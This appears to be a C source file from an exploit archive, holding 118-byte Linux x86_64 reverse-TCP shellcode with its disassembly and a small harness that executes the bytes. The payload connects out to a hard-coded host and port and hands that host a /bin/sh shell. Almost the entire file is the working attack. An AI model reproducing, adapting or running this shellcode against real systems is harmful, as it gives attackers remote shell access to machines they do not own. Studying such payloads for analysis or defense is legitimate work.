92 lines
No EOL
3.6 KiB
C
92 lines
No EOL
3.6 KiB
C
/*
|
|
Title : reversetcpbindshell (118 bytes)
|
|
Date : 04 October 2013
|
|
Author : Russell Willis <codinguy@gmail.com>
|
|
Testd on: Linux/x86_64 (SMP Debian 3.2.46-1+deb7u1 x86_64 GNU/Linux)
|
|
|
|
$ objdump -D reversetcpbindshell -M intel
|
|
reversetcpbindshell: file format elf64-x86-64
|
|
Disassembly of section .text:
|
|
|
|
0000000000400080 <_start>:
|
|
400080: 48 31 c0 xor rax,rax
|
|
400083: 48 31 ff xor rdi,rdi
|
|
400086: 48 31 f6 xor rsi,rsi
|
|
400089: 48 31 d2 xor rdx,rdx
|
|
40008c: 4d 31 c0 xor r8,r8
|
|
40008f: 6a 02 push 0x2
|
|
400091: 5f pop rdi
|
|
400092: 6a 01 push 0x1
|
|
400094: 5e pop rsi
|
|
400095: 6a 06 push 0x6
|
|
400097: 5a pop rdx
|
|
400098: 6a 29 push 0x29
|
|
40009a: 58 pop rax
|
|
40009b: 0f 05 syscall
|
|
40009d: 49 89 c0 mov r8,rax
|
|
4000a0: 48 31 f6 xor rsi,rsi
|
|
4000a3: 4d 31 d2 xor r10,r10
|
|
4000a6: 41 52 push r10
|
|
4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2
|
|
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a
|
|
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a
|
|
4000ba: 04
|
|
4000bb: 48 89 e6 mov rsi,rsp
|
|
4000be: 6a 10 push 0x10
|
|
4000c0: 5a pop rdx
|
|
4000c1: 41 50 push r8
|
|
4000c3: 5f pop rdi
|
|
4000c4: 6a 2a push 0x2a
|
|
4000c6: 58 pop rax
|
|
4000c7: 0f 05 syscall
|
|
4000c9: 48 31 f6 xor rsi,rsi
|
|
4000cc: 6a 03 push 0x3
|
|
4000ce: 5e pop rsi
|
|
00000000004000cf <doop>:
|
|
4000cf: 48 ff ce dec rsi
|
|
4000d2: 6a 21 push 0x21
|
|
4000d4: 58 pop rax
|
|
4000d5: 0f 05 syscall
|
|
4000d7: 75 f6 jne 4000cf <doop>
|
|
4000d9: 48 31 ff xor rdi,rdi
|
|
4000dc: 57 push rdi
|
|
4000dd: 57 push rdi
|
|
4000de: 5e pop rsi
|
|
4000df: 5a pop rdx
|
|
4000e0: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
|
|
4000e7: 2f 73 68
|
|
4000ea: 48 c1 ef 08 shr rdi,0x8
|
|
4000ee: 57 push rdi
|
|
4000ef: 54 push rsp
|
|
4000f0: 5f pop rdi
|
|
4000f1: 6a 3b push 0x3b
|
|
4000f3: 58 pop rax
|
|
4000f4: 0f 05 syscall
|
|
|
|
Code not is not optimal, this is left as an exercise to the reader ;^)
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
#define IPADDR "\xc0\x80\x10\x0a" /* 192.168.1.10 */
|
|
#define PORT "\x7a\x69" /* 31337 */
|
|
|
|
unsigned char code[] = \
|
|
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
|
|
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
|
|
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
|
|
"\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
|
|
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
|
|
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
|
|
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
|
|
"\x5f\x6a\x3b\x58\x0f\x05";
|
|
|
|
int
|
|
main(void)
|
|
{
|
|
printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
return 0;
|
|
} |